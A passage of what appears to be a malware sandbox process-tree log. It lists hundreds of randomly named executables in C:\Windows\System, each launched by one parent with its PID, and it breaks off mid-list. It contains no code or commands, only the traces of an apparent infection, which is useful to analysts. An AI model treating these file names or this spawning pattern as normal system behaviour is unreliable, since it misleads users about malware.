  C:\Windows\System\XwNBjOv.exe
  2⤵
  PID:5140
- C:\Windows\System\ulQeFjn.exe
  C:\Windows\System\ulQeFjn.exe
  2⤵
  PID:4556
- C:\Windows\System\cDRQwOY.exe
  C:\Windows\System\cDRQwOY.exe
  2⤵
  PID:5204
- C:\Windows\System\maMHqkZ.exe
  C:\Windows\System\maMHqkZ.exe
  2⤵
  PID:5188
- C:\Windows\System\bqxAGzt.exe
  C:\Windows\System\bqxAGzt.exe
  2⤵
  PID:5304
- C:\Windows\System\PjMMvbU.exe
  C:\Windows\System\PjMMvbU.exe
  2⤵
  PID:5256
- C:\Windows\System\EFDmPIV.exe
  C:\Windows\System\EFDmPIV.exe
  2⤵
  PID:5292
- C:\Windows\System\SLYAuvl.exe
  C:\Windows\System\SLYAuvl.exe
  2⤵
  PID:5348
- C:\Windows\System\rhqEamj.exe
  C:\Windows\System\rhqEamj.exe
  2⤵
  PID:5384
- C:\Windows\System\VAWgrWk.exe
  C:\Windows\System\VAWgrWk.exe
  2⤵
  PID:5484
- C:\Windows\System\noBTkCh.exe
  C:\Windows\System\noBTkCh.exe
  2⤵
  PID:5524
- C:\Windows\System\DgFSExt.exe
  C:\Windows\System\DgFSExt.exe
  2⤵
  PID:5592
- C:\Windows\System\iEcNTKB.exe
  C:\Windows\System\iEcNTKB.exe
  2⤵
  PID:5608
- C:\Windows\System\WtCnRfv.exe
  C:\Windows\System\WtCnRfv.exe
  2⤵
  PID:5360
- C:\Windows\System\SuyMINo.exe
  C:\Windows\System\SuyMINo.exe
  2⤵
  PID:5628
- C:\Windows\System\riSzCgV.exe
  C:\Windows\System\riSzCgV.exe
  2⤵
  PID:5636
- C:\Windows\System\LiiUbjo.exe
  C:\Windows\System\LiiUbjo.exe
  2⤵
  PID:5260
- C:\Windows\System\mcoSJIN.exe
  C:\Windows\System\mcoSJIN.exe
  2⤵
  PID:5684
- C:\Windows\System\dVtkBXA.exe
  C:\Windows\System\dVtkBXA.exe
  2⤵
  PID:5368
- C:\Windows\System\qraRmEe.exe
  C:\Windows\System\qraRmEe.exe
  2⤵
  PID:5816
- C:\Windows\System\kpuElrx.exe
  C:\Windows\System\kpuElrx.exe
  2⤵
  PID:5436
- C:\Windows\System\ZKcvUCY.exe
  C:\Windows\System\ZKcvUCY.exe
  2⤵
  PID:5664
- C:\Windows\System\zciTzgV.exe
  C:\Windows\System\zciTzgV.exe
  2⤵
  PID:5920
- C:\Windows\System\CCRiiCj.exe
  C:\Windows\System\CCRiiCj.exe
  2⤵
  PID:5772
- C:\Windows\System\cjFQvIA.exe
  C:\Windows\System\cjFQvIA.exe
  2⤵
  PID:5836
- C:\Windows\System\dAlaTwu.exe
  C:\Windows\System\dAlaTwu.exe
  2⤵
  PID:5852
- C:\Windows\System\pLLQUaV.exe
  C:\Windows\System\pLLQUaV.exe
  2⤵
  PID:5928
- C:\Windows\System\SFktdQp.exe
  C:\Windows\System\SFktdQp.exe
  2⤵
  PID:5952
- C:\Windows\System\aklihnc.exe
  C:\Windows\System\aklihnc.exe
  2⤵
  PID:5944
- C:\Windows\System\ETACPCu.exe
  C:\Windows\System\ETACPCu.exe
  2⤵
  PID:5992
- C:\Windows\System\gzxxUMO.exe
  C:\Windows\System\gzxxUMO.exe
  2⤵
  PID:6052
- C:\Windows\System\DSwckid.exe
  C:\Windows\System\DSwckid.exe
  2⤵
  PID:6056
- C:\Windows\System\GtMhxkA.exe
  C:\Windows\System\GtMhxkA.exe
  2⤵
  PID:6120
- C:\Windows\System\YVydQaN.exe
  C:\Windows\System\YVydQaN.exe
  2⤵
  PID:6008
- C:\Windows\System\olhAKIk.exe
  C:\Windows\System\olhAKIk.exe
  2⤵
  PID:6136
- C:\Windows\System\KoaotXR.exe
  C:\Windows\System\KoaotXR.exe
  2⤵
  PID:4240
- C:\Windows\System\mxlVhsY.exe
  C:\Windows\System\mxlVhsY.exe
  2⤵
  PID:6132
- C:\Windows\System\zKlDtHW.exe
  C:\Windows\System\zKlDtHW.exe
  2⤵
  PID:5308
- C:\Windows\System\dVZjpKo.exe
  C:\Windows\System\dVZjpKo.exe
  2⤵
  PID:5344
- C:\Windows\System\CRWxFAM.exe
  C:\Windows\System\CRWxFAM.exe
  2⤵
  PID:4788
- C:\Windows\System\MfqbSjC.exe
  C:\Windows\System\MfqbSjC.exe
  2⤵
  PID:5172
- C:\Windows\System\wYRjaks.exe
  C:\Windows\System\wYRjaks.exe
  2⤵
  PID:5452
- C:\Windows\System\bYagVra.exe
  C:\Windows\System\bYagVra.exe
  2⤵
  PID:5556
- C:\Windows\System\WijDrux.exe
  C:\Windows\System\WijDrux.exe
  2⤵
  PID:5520
- C:\Windows\System\UezqpvI.exe
  C:\Windows\System\UezqpvI.exe
  2⤵
  PID:5632
- C:\Windows\System\ZgVYwkA.exe
  C:\Windows\System\ZgVYwkA.exe
  2⤵
  PID:5640
- C:\Windows\System\kLjolPP.exe
  C:\Windows\System\kLjolPP.exe
  2⤵
  PID:5716
- C:\Windows\System\dLnCmJM.exe
  C:\Windows\System\dLnCmJM.exe
  2⤵
  PID:5472
- C:\Windows\System\qdXCWWU.exe
  C:\Windows\System\qdXCWWU.exe
  2⤵
  PID:5736
- C:\Windows\System\rlpNMHT.exe
  C:\Windows\System\rlpNMHT.exe
  2⤵
  PID:5888
- C:\Windows\System\ylIKrVq.exe
  C:\Windows\System\ylIKrVq.exe
  2⤵
  PID:5396
- C:\Windows\System\uJrNoOi.exe
  C:\Windows\System\uJrNoOi.exe
  2⤵
  PID:5696
- C:\Windows\System\loLzhYx.exe
  C:\Windows\System\loLzhYx.exe
  2⤵
  PID:5960
- C:\Windows\System\oVNPvwn.exe
  C:\Windows\System\oVNPvwn.exe
  2⤵
  PID:5976
- C:\Windows\System\ikiWhQW.exe
  C:\Windows\System\ikiWhQW.exe
  2⤵
  PID:6088
- C:\Windows\System\hwCbHij.exe
  C:\Windows\System\hwCbHij.exe
  2⤵
  PID:4196
- C:\Windows\System\dNrkOPC.exe
  C:\Windows\System\dNrkOPC.exe
  2⤵
  PID:6040
- C:\Windows\System\zLuTsYC.exe
  C:\Windows\System\zLuTsYC.exe
  2⤵
  PID:5288
- C:\Windows\System\AKIxrVQ.exe
  C:\Windows\System\AKIxrVQ.exe
  2⤵
  PID:4852
- C:\Windows\System\AzkViEc.exe
  C:\Windows\System\AzkViEc.exe
  2⤵
  PID:5648
- C:\Windows\System\HzjfqZP.exe
  C:\Windows\System\HzjfqZP.exe
  2⤵
  PID:5572
- C:\Windows\System\zuFjrmy.exe
  C:\Windows\System\zuFjrmy.exe
  2⤵
  PID:5972
- C:\Windows\System\giqmFqH.exe
  C:\Windows\System\giqmFqH.exe
  2⤵
  PID:5604
- C:\Windows\System\kOFWjZx.exe
  C:\Windows\System\kOFWjZx.exe
  2⤵
  PID:5956
- C:\Windows\System\dRlOuia.exe
  C:\Windows\System\dRlOuia.exe
  2⤵
  PID:5364
- C:\Windows\System\HTZwcPm.exe
  C:\Windows\System\HTZwcPm.exe
  2⤵
  PID:6104
- C:\Windows\System\LoyWUoe.exe
  C:\Windows\System\LoyWUoe.exe
  2⤵
  PID:6004
- C:\Windows\System\jQCovva.exe
  C:\Windows\System\jQCovva.exe
  2⤵
  PID:4864
- C:\Windows\System\IdvvxFx.exe
  C:\Windows\System\IdvvxFx.exe
  2⤵
  PID:5720
- C:\Windows\System\IoJPKOq.exe
  C:\Windows\System\IoJPKOq.exe
  2⤵
  PID:5516
- C:\Windows\System\uFSSxGs.exe
  C:\Windows\System\uFSSxGs.exe
  2⤵
  PID:5752
- C:\Windows\System\dEctEny.exe
  C:\Windows\System\dEctEny.exe
  2⤵
  PID:5588
- C:\Windows\System\MskWLUp.exe
  C:\Windows\System\MskWLUp.exe
  2⤵
  PID:5804
- C:\Windows\System\QNOdXQn.exe
  C:\Windows\System\QNOdXQn.exe
  2⤵
  PID:6020
- C:\Windows\System\eCpRXUf.exe
  C:\Windows\System\eCpRXUf.exe
  2⤵
  PID:4260
- C:\Windows\System\Huufayo.exe
  C:\Windows\System\Huufayo.exe
  2⤵
  PID:6024
- C:\Windows\System\LyjbcYG.exe
  C:\Windows\System\LyjbcYG.exe
  2⤵
  PID:6156
- C:\Windows\System\gmmdycV.exe
  C:\Windows\System\gmmdycV.exe
  2⤵
  PID:6176
- C:\Windows\System\zZyvwrc.exe
  C:\Windows\System\zZyvwrc.exe
  2⤵
  PID:6192
- C:\Windows\System\eOREQOn.exe
  C:\Windows\System\eOREQOn.exe
  2⤵
  PID:6208
- C:\Windows\System\wQLrYiv.exe
  C:\Windows\System\wQLrYiv.exe
  2⤵
  PID:6228
- C:\Windows\System\IrMCIzl.exe
  C:\Windows\System\IrMCIzl.exe
  2⤵
  PID:6244
- C:\Windows\System\osdZHkZ.exe
  C:\Windows\System\osdZHkZ.exe
  2⤵
  PID:6260
- C:\Windows\System\NrIuDja.exe
  C:\Windows\System\NrIuDja.exe
  2⤵
  PID:6276
- C:\Windows\System\bjUAMvv.exe
  C:\Windows\System\bjUAMvv.exe
  2⤵
  PID:6292
- C:\Windows\System\WdDaYwO.exe
  C:\Windows\System\WdDaYwO.exe
  2⤵
  PID:6312
- C:\Windows\System\OutKQAN.exe
  C:\Windows\System\OutKQAN.exe
  2⤵
  PID:6328
- C:\Windows\System\YSlJTBs.exe
  C:\Windows\System\YSlJTBs.exe
  2⤵
  PID:6348
- C:\Windows\System\PUjZdnK.exe
  C:\Windows\System\PUjZdnK.exe
  2⤵
  PID:6364
- C:\Windows\System\sWHdqHl.exe
  C:\Windows\System\sWHdqHl.exe
  2⤵
  PID:6380
- C:\Windows\System\oNSndEI.exe
  C:\Windows\System\oNSndEI.exe
  2⤵
  PID:6404
- C:\Windows\System\NaujpeH.exe
  C:\Windows\System\NaujpeH.exe
  2⤵
  PID:6428
- C:\Windows\System\vYrDKMX.exe
  C:\Windows\System\vYrDKMX.exe
  2⤵
  PID:6444
- C:\Windows\System\XWkGWGM.exe
  C:\Windows\System\XWkGWGM.exe
  2⤵
  PID:6464
- C:\Windows\System\HFlQkFN.exe
  C:\Windows\System\HFlQkFN.exe
  2⤵
  PID:6480
- C:\Windows\System\qqByRwP.exe
  C:\Windows\System\qqByRwP.exe
  2⤵
  PID:6496
- C:\Windows\System\prMfuER.exe
  C:\Windows\System\prMfuER.exe
  2⤵
  PID:6512
- C:\Windows\System\NIgiowe.exe
  C:\Windows\System\NIgiowe.exe
  2⤵
  PID:6532
- C:\Windows\System\EcwSEKn.exe
  C:\Windows\System\EcwSEKn.exe
  2⤵
  PID:6552
- C:\Windows\System\lNRmESh.exe
  C:\Windows\System\lNRmESh.exe
  2⤵
  PID:6568
- C:\Windows\System\JoCWuGv.exe
  C:\Windows\System\JoCWuGv.exe
  2⤵
  PID:6584
- C:\Windows\System\lpfHxZf.exe
  C:\Windows\System\lpfHxZf.exe
  2⤵
  PID:6604
- C:\Windows\System\THNmXak.exe
  C:\Windows\System\THNmXak.exe
  2⤵
  PID:6620
- C:\Windows\System\hxSWhAb.exe
  C:\Windows\System\hxSWhAb.exe
  2⤵
  PID:6636
- C:\Windows\System\fXrdrqx.exe
  C:\Windows\System\fXrdrqx.exe
  2⤵
  PID:6652
- C:\Windows\System\AoXWshX.exe
  C:\Windows\System\AoXWshX.exe
  2⤵
  PID:6668
- C:\Windows\System\EfGFfrH.exe
  C:\Windows\System\EfGFfrH.exe
  2⤵
  PID:6684
- C:\Windows\System\KdtQuKx.exe
  C:\Windows\System\KdtQuKx.exe
  2⤵
  PID:6708
- C:\Windows\System\fdOUfwP.exe
  C:\Windows\System\fdOUfwP.exe
  2⤵
  PID:6724
- C:\Windows\System\VqAtFLf.exe
  C:\Windows\System\VqAtFLf.exe
  2⤵
  PID:6740
- C:\Windows\System\rBJtPOb.exe
  C:\Windows\System\rBJtPOb.exe
  2⤵
  PID:6760
- C:\Windows\System\nUFyINV.exe
  C:\Windows\System\nUFyINV.exe
  2⤵
  PID:6776
- C:\Windows\System\cdZnMoB.exe
  C:\Windows\System\cdZnMoB.exe
  2⤵
  PID:6796
- C:\Windows\System\sKVxvDt.exe
  C:\Windows\System\sKVxvDt.exe
  2⤵
  PID:6812
- C:\Windows\System\FzUcyWG.exe
  C:\Windows\System\FzUcyWG.exe
  2⤵
  PID:6832
- C:\Windows\System\XBKkgkx.exe
  C:\Windows\System\XBKkgkx.exe
  2⤵
  PID:6852
- C:\Windows\System\yFwvzBL.exe
  C:\Windows\System\yFwvzBL.exe
  2⤵
  PID:6868
- C:\Windows\System\KalrpFc.exe
  C:\Windows\System\KalrpFc.exe
  2⤵
  PID:6884
- C:\Windows\System\YboRKKX.exe
  C:\Windows\System\YboRKKX.exe
  2⤵
  PID:6900
- C:\Windows\System\vGnIphG.exe
  C:\Windows\System\vGnIphG.exe
  2⤵
  PID:6916
- C:\Windows\System\SywIckI.exe
  C:\Windows\System\SywIckI.exe
  2⤵
  PID:6932
- C:\Windows\System\fEGoJmZ.exe
  C:\Windows\System\fEGoJmZ.exe
  2⤵
  PID:6948
- C:\Windows\System\lsKyEMW.exe
  C:\Windows\System\lsKyEMW.exe
  2⤵
  PID:7028
- C:\Windows\System\CeagKtb.exe
  C:\Windows\System\CeagKtb.exe
  2⤵
  PID:7044
- C:\Windows\System\vQZETIr.exe
  C:\Windows\System\vQZETIr.exe
  2⤵
  PID:7064
- C:\Windows\System\NlgzwuM.exe
  C:\Windows\System\NlgzwuM.exe
  2⤵
  PID:7080
- C:\Windows\System\JTcPgFa.exe
  C:\Windows\System\JTcPgFa.exe
  2⤵
  PID:7100
- C:\Windows\System\yFpbsYM.exe
  C:\Windows\System\yFpbsYM.exe
  2⤵
  PID:7116
- C:\Windows\System\AauUZJd.exe
  C:\Windows\System\AauUZJd.exe
  2⤵
  PID:7136
- C:\Windows\System\AwqBcMQ.exe
  C:\Windows\System\AwqBcMQ.exe
  2⤵
  PID:7152
- C:\Windows\System\gemtUNg.exe
  C:\Windows\System\gemtUNg.exe
  2⤵
  PID:6148
- C:\Windows\System\cNgkdPa.exe
  C:\Windows\System\cNgkdPa.exe
  2⤵
  PID:6188
- C:\Windows\System\QTyCxXP.exe
  C:\Windows\System\QTyCxXP.exe
  2⤵
  PID:6168
- C:\Windows\System\faQfPQg.exe
  C:\Windows\System\faQfPQg.exe
  2⤵
  PID:6204
- C:\Windows\System\cUSNkEJ.exe
  C:\Windows\System\cUSNkEJ.exe
  2⤵
  PID:6272
- C:\Windows\System\xypqSzz.exe
  C:\Windows\System\xypqSzz.exe
  2⤵
  PID:6216
- C:\Windows\System\exXucAU.exe
  C:\Windows\System\exXucAU.exe
  2⤵
  PID:6252
- C:\Windows\System\aJaOFus.exe
  C:\Windows\System\aJaOFus.exe
  2⤵
  PID:6320
- C:\Windows\System\lmkQBJU.exe
  C:\Windows\System\lmkQBJU.exe
  2⤵
  PID:6376
- C:\Windows\System\ePnpGdN.exe
  C:\Windows\System\ePnpGdN.exe
  2⤵
  PID:6392
- C:\Windows\System\GzehyLu.exe
  C:\Windows\System\GzehyLu.exe
  2⤵
  PID:6424
- C:\Windows\System\CokNKEo.exe
  C:\Windows\System\CokNKEo.exe
  2⤵
  PID:6488
- C:\Windows\System\UviquyH.exe
  C:\Windows\System\UviquyH.exe
  2⤵
  PID:6528
- C:\Windows\System\GHGcmuc.exe
  C:\Windows\System\GHGcmuc.exe
  2⤵
  PID:6440
- C:\Windows\System\DQaxxAy.exe
  C:\Windows\System\DQaxxAy.exe
  2⤵
  PID:6628
- C:\Windows\System\FKUSPxk.exe
  C:\Windows\System\FKUSPxk.exe
  2⤵
  PID:6472
- C:\Windows\System\XgubMbv.exe
  C:\Windows\System\XgubMbv.exe
  2⤵
  PID:6704
- C:\Windows\System\zTqqxaU.exe
  C:\Windows\System\zTqqxaU.exe
  2⤵
  PID:6504
- C:\Windows\System\ZsvKIBQ.exe
  C:\Windows\System\ZsvKIBQ.exe
  2⤵
  PID:6544
- C:\Windows\System\MNrGjMo.exe
  C:\Windows\System\MNrGjMo.exe
  2⤵
  PID:6680
- C:\Windows\System\IzgIJcA.exe
  C:\Windows\System\IzgIJcA.exe
  2⤵
  PID:6804
- C:\Windows\System\DCQbPQd.exe
  C:\Windows\System\DCQbPQd.exe
  2⤵
  PID:6716
- C:\Windows\System\bdTknOj.exe
  C:\Windows\System\bdTknOj.exe
  2⤵
  PID:6756
- C:\Windows\System\JSiPRuv.exe
  C:\Windows\System\JSiPRuv.exe
  2⤵
  PID:6820
- C:\Windows\System\cHObqVq.exe
  C:\Windows\System\cHObqVq.exe
  2⤵
  PID:6860
- C:\Windows\System\LjsWeor.exe
  C:\Windows\System\LjsWeor.exe
  2⤵
  PID:6892
- C:\Windows\System\bOBQgpQ.exe
  C:\Windows\System\bOBQgpQ.exe
  2⤵
  PID:6896
- C:\Windows\System\YdncLjG.exe
  C:\Windows\System\YdncLjG.exe
  2⤵
  PID:7000
- C:\Windows\System\RZdeOIm.exe
  C:\Windows\System\RZdeOIm.exe
  2⤵
  PID:6984
- C:\Windows\System\bORFGYe.exe
  C:\Windows\System\bORFGYe.exe
  2⤵
  PID:7024
- C:\Windows\System\QTXNKKe.exe
  C:\Windows\System\QTXNKKe.exe
  2⤵
  PID:7056
- C:\Windows\System\YSVLNTY.exe
  C:\Windows\System\YSVLNTY.exe
  2⤵
  PID:7108
- C:\Windows\System\xApuEuX.exe
  C:\Windows\System\xApuEuX.exe
  2⤵
  PID:5504
- C:\Windows\System\btVtlbg.exe
  C:\Windows\System\btVtlbg.exe
  2⤵
  PID:7052
- C:\Windows\System\bNzqJss.exe
  C:\Windows\System\bNzqJss.exe
  2⤵
  PID:6356
- C:\Windows\System\VlbUIWP.exe
  C:\Windows\System\VlbUIWP.exe
  2⤵
  PID:7160
- C:\Windows\System\ATJOWbL.exe
  C:\Windows\System\ATJOWbL.exe
  2⤵
  PID:6268
- C:\Windows\System\OxEpFfa.exe
  C:\Windows\System\OxEpFfa.exe
  2⤵
  PID:7132
- C:\Windows\System\gEpDrwr.exe
  C:\Windows\System\gEpDrwr.exe
  2⤵
  PID:6508
- C:\Windows\System\EPdMMUf.exe
  C:\Windows\System\EPdMMUf.exe
  2⤵
  PID:6240
- C:\Windows\System\KDHDwNl.exe
  C:\Windows\System\KDHDwNl.exe
  2⤵
  PID:6372
- C:\Windows\System\MbCNuuX.exe
  C:\Windows\System\MbCNuuX.exe
  2⤵
  PID:6576
- C:\Windows\System\ubZmaRU.exe
  C:\Windows\System\ubZmaRU.exe
  2⤵
  PID:6840
- C:\Windows\System\KUpotNZ.exe
  C:\Windows\System\KUpotNZ.exe
  2⤵
  PID:6956
- C:\Windows\System\JiHlzll.exe
  C:\Windows\System\JiHlzll.exe
  2⤵
  PID:6912
- C:\Windows\System\RVQItzv.exe
  C:\Windows\System\RVQItzv.exe
  2⤵
  PID:6772
- C:\Windows\System\nDVFOVD.exe
  C:\Windows\System\nDVFOVD.exe
  2⤵
  PID:6520
- C:\Windows\System\FuShHRV.exe
  C:\Windows\System\FuShHRV.exe
  2⤵
  PID:6748
- C:\Windows\System\FhqHdwJ.exe
  C:\Windows\System\FhqHdwJ.exe
  2⤵
  PID:6308
- C:\Windows\System\fgaGoYD.exe
  C:\Windows\System\fgaGoYD.exe
  2⤵
  PID:6992
- C:\Windows\System\dRlYWCn.exe
  C:\Windows\System\dRlYWCn.exe
  2⤵
  PID:6184
- C:\Windows\System\IMuEJBc.exe
  C:\Windows\System\IMuEJBc.exe
  2⤵
  PID:7096
- C:\Windows\System\qlnHxZj.exe
  C:\Windows\System\qlnHxZj.exe
  2⤵
  PID:5840
- C:\Windows\System\zVDurKx.exe
  C:\Windows\System\zVDurKx.exe
  2⤵
  PID:7144
- C:\Windows\System\RAjtdsV.exe
  C:\Windows\System\RAjtdsV.exe
  2⤵
  PID:7124
- C:\Windows\System\TYCYPOu.exe
  C:\Windows\System\TYCYPOu.exe
  2⤵
  PID:6692
- C:\Windows\System\ojiJguZ.exe
  C:\Windows\System\ojiJguZ.exe
  2⤵
  PID:6788
- C:\Windows\System\DMVmMtY.exe
  C:\Windows\System\DMVmMtY.exe
  2⤵
  PID:6848
- C:\Windows\System\TUTRWfZ.exe
  C:\Windows\System\TUTRWfZ.exe
  2⤵
  PID:6700
- C:\Windows\System\YoxIZpG.exe
  C:\Windows\System\YoxIZpG.exe
  2⤵
  PID:6876
- C:\Windows\System\VeeXQLe.exe
  C:\Windows\System\VeeXQLe.exe
  2⤵
  PID:6928
- C:\Windows\System\xCEpcpm.exe
  C:\Windows\System\xCEpcpm.exe
  2⤵
  PID:6524
- C:\Windows\System\RPGvWnx.exe
  C:\Windows\System\RPGvWnx.exe
  2⤵
  PID:6288
- C:\Windows\System\fzAGmpz.exe
  C:\Windows\System\fzAGmpz.exe
  2⤵
  PID:6236
- C:\Windows\System\tQcCiNG.exe
  C:\Windows\System\tQcCiNG.exe
  2⤵
  PID:6564
- C:\Windows\System\jUxwQYY.exe
  C:\Windows\System\jUxwQYY.exe
  2⤵
  PID:6344
- C:\Windows\System\YQQkutg.exe
  C:\Windows\System\YQQkutg.exe
  2⤵
  PID:6648
- C:\Windows\System\nolSnQL.exe
  C:\Windows\System\nolSnQL.exe
  2⤵
  PID:6696
- C:\Windows\System\MOmknHV.exe
  C:\Windows\System\MOmknHV.exe
  2⤵
  PID:6768
- C:\Windows\System\lJEqgpo.exe
  C:\Windows\System\lJEqgpo.exe
  2⤵
  PID:6964
- C:\Windows\System\FORYkjj.exe
  C:\Windows\System\FORYkjj.exe
  2⤵
  PID:6596
- C:\Windows\System\PbXyLkM.exe
  C:\Windows\System\PbXyLkM.exe
  2⤵
  PID:2140
- C:\Windows\System\yqsBeNe.exe
  C:\Windows\System\yqsBeNe.exe
  2⤵
  PID:7180
- C:\Windows\System\suxaLfT.exe
  C:\Windows\System\suxaLfT.exe
  2⤵
  PID:7196
- C:\Windows\System\kKxzyDI.exe
  C:\Windows\System\kKxzyDI.exe
  2⤵
  PID:7212
- C:\Windows\System\GXIiWfH.exe
  C:\Windows\System\GXIiWfH.exe
  2⤵
  PID:7228
- C:\Windows\System\DHegsms.exe
  C:\Windows\System\DHegsms.exe
  2⤵
  PID:7244
- C:\Windows\System\ABpJrVS.exe
  C:\Windows\System\ABpJrVS.exe
  2⤵
  PID:7260
- C:\Windows\System\GHgYEIm.exe
  C:\Windows\System\GHgYEIm.exe
  2⤵
  PID:7276
- C:\Windows\System\BTVGspt.exe
  C:\Windows\System\BTVGspt.exe
  2⤵
  PID:7292
- C:\Windows\System\okZIQtB.exe
  C:\Windows\System\okZIQtB.exe
  2⤵
  PID:7308
- C:\Windows\System\RAYSVGY.exe
  C:\Windows\System\RAYSVGY.exe
  2⤵
  PID:7324
- C:\Windows\System\ifSVWCv.exe
  C:\Windows\System\ifSVWCv.exe
  2⤵
  PID:7340
- C:\Windows\System\nRqkhDX.exe
  C:\Windows\System\nRqkhDX.exe
  2⤵
  PID:7356
- C:\Windows\System\xGTylJZ.exe
  C:\Windows\System\xGTylJZ.exe
  2⤵
  PID:7372
- C:\Windows\System\TjdxuZy.exe
  C:\Windows\System\TjdxuZy.exe
  2⤵
  PID:7388
- C:\Windows\System\lbWQLTV.exe
  C:\Windows\System\lbWQLTV.exe
  2⤵
  PID:7404
- C:\Windows\System\WdYaeuX.exe
  C:\Windows\System\WdYaeuX.exe
  2⤵
  PID:7420
- C:\Windows\System\xXVQCEl.exe
  C:\Windows\System\xXVQCEl.exe
  2⤵
  PID:7436
- C:\Windows\System\vaHbAbp.exe
  C:\Windows\System\vaHbAbp.exe
  2⤵
  PID:7452
- C:\Windows\System\yrnUCin.exe
  C:\Windows\System\yrnUCin.exe
  2⤵
  PID:7468
- C:\Windows\System\aIIULsA.exe
  C:\Windows\System\aIIULsA.exe
  2⤵
  PID:7488
- C:\Windows\System\DstQQTO.exe
  C:\Windows\System\DstQQTO.exe
  2⤵
  PID:7504
- C:\Windows\System\gaWTVft.exe
  C:\Windows\System\gaWTVft.exe
  2⤵
  PID:7520
- C:\Windows\System\BvneRjE.exe
  C:\Windows\System\BvneRjE.exe
  2⤵
  PID:7536
- C:\Windows\System\fbfYnjd.exe
  C:\Windows\System\fbfYnjd.exe
  2⤵
  PID:7552
- C:\Windows\System\XJIMcxj.exe
  C:\Windows\System\XJIMcxj.exe
  2⤵
  PID:7568
- C:\Windows\System\wItTGXR.exe
  C:\Windows\System\wItTGXR.exe
  2⤵
  PID:7584
- C:\Windows\System\IJfnxzD.exe
  C:\Windows\System\IJfnxzD.exe
  2⤵
  PID:7600
- C:\Windows\System\ZyJouhY.exe
  C:\Windows\System\ZyJouhY.exe
  2⤵
  PID:7620
- C:\Windows\System\AepIDIT.exe
  C:\Windows\System\AepIDIT.exe
  2⤵
  PID:7636
- C:\Windows\System\bGNNbdJ.exe
  C:\Windows\System\bGNNbdJ.exe
  2⤵
  PID:7652
- C:\Windows\System\KhyAGNW.exe
  C:\Windows\System\KhyAGNW.exe
  2⤵
  PID:7668
- C:\Windows\System\HRLXVLm.exe
  C:\Windows\System\HRLXVLm.exe
  2⤵
  PID:7684
- C:\Windows\System\qrzPZuL.exe
  C:\Windows\System\qrzPZuL.exe
  2⤵
  PID:7700
- C:\Windows\System\OEUqMEj.exe
  C:\Windows\System\OEUqMEj.exe
  2⤵
  PID:7716
- C:\Windows\System\UPMrmfe.exe
  C:\Windows\System\UPMrmfe.exe
  2⤵
  PID:7732
- C:\Windows\System\xXUEkFQ.exe
  C:\Windows\System\xXUEkFQ.exe
  2⤵
  PID:7748
- C:\Windows\System\SFlFYJZ.exe
  C:\Windows\System\SFlFYJZ.exe
  2⤵
  PID:7764
- C:\Windows\System\RPikmvd.exe
  C:\Windows\System\RPikmvd.exe
  2⤵
  PID:7780
- C:\Windows\System\nBTlLJo.exe
  C:\Windows\System\nBTlLJo.exe
  2⤵
  PID:7796
- C:\Windows\System\RIeQEiv.exe
  C:\Windows\System\RIeQEiv.exe
  2⤵
  PID:7812
- C:\Windows\System\vvbMuSJ.exe
  C:\Windows\System\vvbMuSJ.exe
  2⤵
  PID:7828
- C:\Windows\System\dlegiIG.exe
  C:\Windows\System\dlegiIG.exe
  2⤵
  PID:7844
- C:\Windows\System\kvRAeFk.exe
  C:\Windows\System\kvRAeFk.exe
  2⤵
  PID:7860
- C:\Windows\System\YnCutLZ.exe
  C:\Windows\System\YnCutLZ.exe
  2⤵
  PID:7876
- C:\Windows\System\WtWkhRl.exe
  C:\Windows\System\WtWkhRl.exe
  2⤵
  PID:7892
- C:\Windows\System\QwRCzas.exe
  C:\Windows\System\QwRCzas.exe
  2⤵
  PID:7908
- C:\Windows\System\NvgQJmb.exe
  C:\Windows\System\NvgQJmb.exe
  2⤵
  PID:7924
- C:\Windows\System\ZqHAeKh.exe
  C:\Windows\System\ZqHAeKh.exe
  2⤵
  PID:7940
- C:\Windows\System\AKAFfCD.exe
  C:\Windows\System\AKAFfCD.exe
  2⤵
  PID:7956
- C:\Windows\System\QgHjffr.exe
  C:\Windows\System\QgHjffr.exe
  2⤵
  PID:7972
- C:\Windows\System\qqBhdvJ.exe
  C:\Windows\System\qqBhdvJ.exe
  2⤵
  PID:7988
- C:\Windows\System\BghqpDM.exe
  C:\Windows\System\BghqpDM.exe
  2⤵
  PID:8004
- C:\Windows\System\LBxPBzd.exe
  C:\Windows\System\LBxPBzd.exe
  2⤵
  PID:8024
- C:\Windows\System\xbUtvOV.exe
  C:\Windows\System\xbUtvOV.exe
  2⤵
  PID:8040
- C:\Windows\System\Khwpjro.exe
  C:\Windows\System\Khwpjro.exe
  2⤵
  PID:8056
- C:\Windows\System\GtemYTh.exe
  C:\Windows\System\GtemYTh.exe
  2⤵
  PID:8072
- C:\Windows\System\ArwIzvo.exe
  C:\Windows\System\ArwIzvo.exe
  2⤵
  PID:8088
- C:\Windows\System\CGLcMtc.exe
  C:\Windows\System\CGLcMtc.exe
  2⤵
  PID:8104
- C:\Windows\System\OHLOodK.exe
  C:\Windows\System\OHLOodK.exe
  2⤵
  PID:8120
- C:\Windows\System\srUurzm.exe
  C:\Windows\System\srUurzm.exe
  2⤵
  PID:8136
- C:\Windows\System\HOKCcDa.exe
  C:\Windows\System\HOKCcDa.exe
  2⤵
  PID:8152
- C:\Windows\System\oYKfwil.exe
  C:\Windows\System\oYKfwil.exe
  2⤵
  PID:8168
- C:\Windows\System\BLxPGxO.exe
  C:\Windows\System\BLxPGxO.exe
  2⤵
  PID:8184
- C:\Windows\System\DQnSWjy.exe
  C:\Windows\System\DQnSWjy.exe
  2⤵
  PID:6664
- C:\Windows\System\gPbwOHY.exe
  C:\Windows\System\gPbwOHY.exe
  2⤵
  PID:6200
- C:\Windows\System\RQyyZvE.exe
  C:\Windows\System\RQyyZvE.exe
  2⤵
  PID:7252
- C:\Windows\System\iwgcTnM.exe
  C:\Windows\System\iwgcTnM.exe
  2⤵
  PID:7288
- C:\Windows\System\fOmNIRm.exe
  C:\Windows\System\fOmNIRm.exe
  2⤵
  PID:7172
- C:\Windows\System\CmHuznX.exe
  C:\Windows\System\CmHuznX.exe
  2⤵
  PID:7448
- C:\Windows\System\afeLjbE.exe
  C:\Windows\System\afeLjbE.exe
  2⤵
  PID:7272
- C:\Windows\System\rQrAvTC.exe
  C:\Windows\System\rQrAvTC.exe
  2⤵
  PID:7332
- C:\Windows\System\QKGZSFx.exe
  C:\Windows\System\QKGZSFx.exe
  2⤵
  PID:7512
- C:\Windows\System\eNXhjWn.exe
  C:\Windows\System\eNXhjWn.exe
  2⤵
  PID:7432
- C:\Windows\System\xdhqxKz.exe
  C:\Windows\System\xdhqxKz.exe
  2⤵
  PID:7464
- C:\Windows\System\aNovZFg.exe
